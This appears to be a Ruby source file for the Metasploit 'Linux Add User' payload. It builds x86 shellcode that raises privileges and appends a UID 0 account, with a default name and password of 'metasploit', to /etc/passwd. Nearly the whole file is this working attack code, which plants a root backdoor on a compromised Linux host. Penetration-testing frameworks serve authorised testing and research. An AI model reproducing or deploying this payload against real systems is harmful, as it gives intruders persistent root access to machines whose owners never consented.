60 lines
1.5 KiB
Ruby
60 lines
1.5 KiB
Ruby
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require 'msf/core'
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module Msf
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module Payloads
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module Singles
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module Linux
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module X86
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###
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#
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# AddUser
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# -------
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#
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# Adds a UID 0 user to /etc/passwd.
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#
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###
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module AddUser
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Add User',
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'Version' => '$Revision$',
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'Description' => 'Create a new user with UID 0',
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'Author' => [ 'skape', 'vlad902', 'spoonm' ],
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Privileged' => true))
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# Register adduser options
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register_options(
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[
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OptString.new('USER', [ true, "The username to create", "metasploit" ]),
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OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
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OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
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], Msf::Payloads::Singles::Linux::X86::AddUser)
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end
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#
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# Dynamically builds the adduser payload based on the user's options.
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#
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def generate
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user = datastore['USER'] || 'metasploit'
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pass = datastore['PASS'] || 'metasploit'
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shell = datastore['SHELL'] || '/bin/sh'
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str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
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payload =
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"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" +
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"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" +
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"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" +
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"\x80\x93" + Rex::Arch::X86.call(str.length) + str +
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"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +
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"\xcd\x80"
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end
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end
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end end end end end
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